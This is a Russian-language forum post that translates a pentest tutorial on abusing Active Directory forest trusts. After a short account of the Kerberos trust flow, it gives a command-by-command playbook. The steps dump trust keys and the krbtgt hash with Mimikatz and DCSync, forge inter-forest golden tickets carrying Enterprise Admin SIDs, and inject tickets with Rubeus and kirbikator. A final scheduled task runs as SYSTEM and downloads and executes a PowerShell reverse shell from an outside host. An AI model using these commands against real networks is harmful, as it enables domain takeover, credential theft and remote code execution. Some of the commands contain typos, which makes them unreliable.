Статья Active Directory - Forest Trust Abuse

Jolah Milovski

RAM
Пользователь
Регистрация
17.06.2021
Сообщения
119
Реакции
150

Active Directory - Forest Trust Abuse

1651834187918.png
Этот руководство объясняет злоупотребление доверием леса Active Directory главным образом путем подделки межлесная ТГТ. Я также объясню те термины, которые каждый пентестер/краснокомандующий должен контролировать, чтобы понять проведенные атаки в сети Active Directory.

На протяжении всей статьи я буду использовать Invoke-Mimikatz при злоупотреблении доверием к лесу в Windows/Active Directory Домен. Если потребуются какие-либо другие инструменты, они будут упомянуты в конец.

Работа лесного трастового потока

изображение

Давайте разобьем каждый шаг из приведенной выше диаграммы и поймем как трастовые потоки через лесА, в основном сосредотачиваются на внешних трастах. Лес представляет собой набор из одного или нескольких деревьев доменов внутри Active Directory. Доверительные отношения леса между двумя контроллерами домена позволяют пользователям получить доступ к ресурсам в доменах друг друга. Это может быть возможно только в том случае, если отношения, установленные между ними, являются двунаправленными. Например, starlight.US-access.local имеет внешнее двунаправленное доверие к лесу, называемому EU-access.local. Следовательно, пользователь из домена starlight может получить доступ к ресурсам EU-access.local.

Мы можем сопоставить доверие леса с помощью следующей команды, используя PowerView.


Код с оформлением (BB-коды):
# Map all the trusts of the current forest
Get-NetForestDomain | Get-NetDomainTrust 

# Extract info from the external forest ( Bi-directional )
Get-NetForestDomain -Forest <external-forest> -Verbose | Get-NetDomainTrust -NET


Теперь время понять что такое лесной траст и уметь его идентифицировать, начнем с рабочего процесса трастового потока по лесам.

Клиент запрашивает TGT у DC

  1. Привилегированный пользователь хочет получить доступ к определенной службе с сервера приложений другого леса.
  2. Пользователь отправляет отметку времени на контроллер домена, которая шифруется и подписывается хэшем NTLM пароля пользователя.
  3. Для контроллера домена требуется проверить, сделан ли запрос от пользователя, за которого он себя выдает.

2. DC отправляет TGT клиенту

  1. DC получает и расшифровывает зашифрованную метку времени.
  2. DC гарантирует, что запрос исходит от пользователя, за которого он себя выдает, и отвечает TGT который может предоставить другой тикет.
  3. Отправленный TGT шифруется и подписывается NTML-хэшем KRBTG, который является конкретной учетной записью DC, используемой только для этой цели. Этот означает, что TGT может быть прочитан и открыт только KRBTG.

3. и 4. Клиент получает межрегиональный TGT

  1. Клиент получает TGT, отправляет его обратно в контроллер домена и запрашивает службу предоставления тикетов (TGS) другого леса .
  2. Потом DC обнаруживает, что работа TGS заключается в доступе к услугам из другого внешнего леса с двунаправленным доверием, он повторно отправляет межрегиональный TGT клиенту.

5. и 6. Клиент получает TGS из внешнего леса

  1. Клиент получает TGT, отправляет его обратно на контроллер домена внешнего леса и запрашивает службу предоставления тикетов (TGS).
  2. DC получает TGS, расшифровывает его и выполняет следующую проверку.
  3. Единственная проверка, которую он делает, это то, может ли он расшифровать TGT или нет. Если возможно, предполагается, что весь контент внутри межобластного TGT действительный.

7. и 8. Клиент отправляет сервисный тикет

  1. Клиент подключается к серверу приложений и представляет TGS, полученный от внешнего контроллера домена для запрашиваемой услуги.
  2. Он расшифровывает TGS, а затем решает, может ли пользователь получить доступ к сервису или нет.
Эти являются этапами типичной работы трастового потока в лесу. А злоумышленник может использовать 5й шаг, из вышеперечисленных, чтобы получить желаемое Мы может создать TGT между областями в качестве администратора предприятия для внешнего леса, если у нас есть доступ к доверенным ключам. В случае доменных трастов, родительско-дочерних трастов, мы могли бы расширить наши привилегии администратору предприятия, используя историю SID. Но так как есть фильтрация SID в лесу и внешние доверительные отношения, мы не можем использовать часть истории SID.

Использование ключа доверия хэшем rc4

Методология

1. Дамп ключей доверия межлесных трастов
2. Запишите SID текущего домена, SID целевого домена и rc4_hmac_nt (ключ доверия) целевого домена.
3. Мы можем создать TGT между лесами с правильной целью и rc4 параметры. Не забудьте добавить -519 после sids параметра для подделки привилегий в качестве администратора предприятия.
4. Теперь запросите TGS с помощью asktgs.exe.
5. Теперь введите TGS в память.
6. Теперь мы можем получить доступ ко всем общим файлам администратора DC

Invoke-Mimikatz

1. Требуем ключ межлесного доверия​

Код с оформлением (BB-коды):
Invoke-Mimikatz -Command '"lsadump::trust /patch"'

2. Подделываем межлесной TGT​

Код с оформлением (BB-коды):
Invoke-Mimikatz -Command '"kerberos::golden
 /user:Administrator /domain:<current-domain>
/sid:<current-domain-SID> /sids:<target-domain-SID>-519
/rc4:<target-domain-rc4-hash> /service:krbtgt
/target:<target-domain> /ticket:C:\kekeo_old\trust_tkt.kirbi"'

3. Теперь создаем TGS для услуги (CIFS) в родительском домене.​

Код с оформлением (BB-коды):
.\asktgs.exe C:\kekeo_old\trust_tkt.kirbi CIFS/<target-domain-user-dc>

4. Предоставить TGS целевой службе​

Код с оформлением (BB-коды):
.\kirbikator.exe lsa .\<file.kirbi>

5. Теперь получим доступ к целевой службе (CIFS).​

Код с оформлением (BB-коды):
 ls \\<target-domain-user-dc>\C$


Использование доверенных ключей с помощью Rubeus

Invoke-Mimikatz

1. Создайте тикет и добавьте его в память с помощью asktgs​


Код с оформлением (BB-коды):
.\Rubeus.exe /asktgs /ticket:C:\kekeo_old\trust_tkt.kirbi /service:cifs/<target-domain-user-dc> /dc:<target-domain-user-dc> /ptt

2. Перечислите аутентификации​

Код с оформлением (BB-коды):
 klist

3. Теперь попробуйте получить доступ к целевой службе (CIFS).​


Код с оформлением (BB-коды):
ls \\<target-domain-user-dc>\C$

Использование доверия с помощью хэша krbtgt

Методология

1. Выполните атаку DCSync, чтобы сбросить хэш KRBTGT.
2. Создайте дамп ключей доверия межлесных трастов.
3. Запишите SID текущего домена, SID целевого домена.
4. Мы можем создать TGT между лесами, используя golden ticket. Не забудьте добавить -519 после sids параметр для подделки привилегий в качестве администратора предприятия.
5. Теперь введите TGS в память.
6. Мы можем создать расписание и выполнить задачу, чтобы получить оболочку от имени администратора предприятия.

1. Выполните атаку DCSync для получения хэша krbtg. Выполните приведенную ниже команду с привилегиями DC​


Код с оформлением (BB-коды):
Invoke-Mimikatz -Command '"lsadump::dcsyn /domain:<target-domain-SID> /all /cvs"'

2. Создайте межсерверный TGT с помощью golden ticket.​

Код с оформлением (BB-коды):
Invoke-Mimikatz -Command '"kerberos::golden
 /user:Administrator /domain:<current-domain>
/sid:<current-domain-SID> /sids:<target-domain-SID>-519
/krbtgt:ff46a9d8bd66c6efd77603da26796f35 /ticket:C:\krbtgt_tkt.kirbi"'

3. Теперь введитеticket используя Mimikatz​

Код с оформлением (BB-коды):
Invoke-Mimikatz -Command '"kerberos::ptt C:\krbtgt_tkt.kirbi"'
# Now we can also execute wmi commands
gwmi -Class win32_computersystem -ComputerName <target-domain-user-dc>

4. Создайте расписание для получения оболочки как NT AUTHORITY\SYSTEM.​


Код с оформлением (BB-коды):
schtasks /create /S <target-domain-user-dc> /SC Weekly /RU "NT AUTHORITY\SYSTEM" /TN "pwned" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://10.10.x.x/Invoke-PowerShellTcp.ps1''')'"

schtasks /Run /S <target-domain-user-dc> /TN "pwned"

Используемые инструменты

  1. Invoke-Mimikatz.ps1 скачать отсюда: https://github.com/PowerShellMafia/PowerSploit/blob/master/Exdication/Invoke-Mimikatz.ps1
  2. asktgs_compiled скачать отсюда: https://github.com/NotScortator/asktgs_compiled
  3. Скачать Rubeus.exe отсюда: https://github.com/r3motecontrol/Ghostpack-CompiledBinaries/blob/master/Rubeus.exe

Перевод статьи: https://0xstarlight.github.io/posts/Active-Directory-Forest-Trust-Abuse/
 


Напишите ответ...